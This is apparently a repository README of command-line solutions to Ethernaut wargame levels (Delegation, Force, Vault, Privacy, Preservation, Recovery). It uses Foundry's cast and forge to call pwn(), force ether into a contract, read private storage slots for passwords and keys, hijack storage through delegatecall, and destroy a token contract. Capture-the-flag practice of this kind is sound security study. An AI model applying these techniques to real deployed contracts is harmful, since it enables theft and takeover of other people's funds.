/ethernaut

Primary LanguageSolidity

Ethernaut

Delegation

$ cast send <INSTANCE_CONTRACT> "pwn()"

Forge

# Deploy
$ forge create ForceAttacker --constructor-args <INSTANCE_CONTRACT>

# Attack
$ cast send --value 0.01ether <ATTACKER_CONTRACT>

Vault

$ PASSWORD=$(cast storage 0x19750Da423914182425B8F16E00A9ADDc6fd493d 1)
$ cast send <INSTANCE_CONTRACT> "unlock(bytes32)" "$PASSWORD"

Privacy

$ KEY=$(cast storage 0x83B62e11B1ebD2b8a65c4Ff55E61d5201C46a07F 5)
$ cast send <ATTACKER_CONTRACT> "attack(address,bytes32)" <INSTANCE_CONTRACT> "$KEY"

Preservation

$ cast send <INSTANCE_CONTRACT> "setFirstTime(uint)" <ATTACKER_CONTRACT>
$ cast send <INSTANCE_CONTRACT> "setFirstTime(uint)" 0

Recovery

$ cast send <TOKEN_ADDRESS> "destroy(address)" <MY_ADDRESS>
$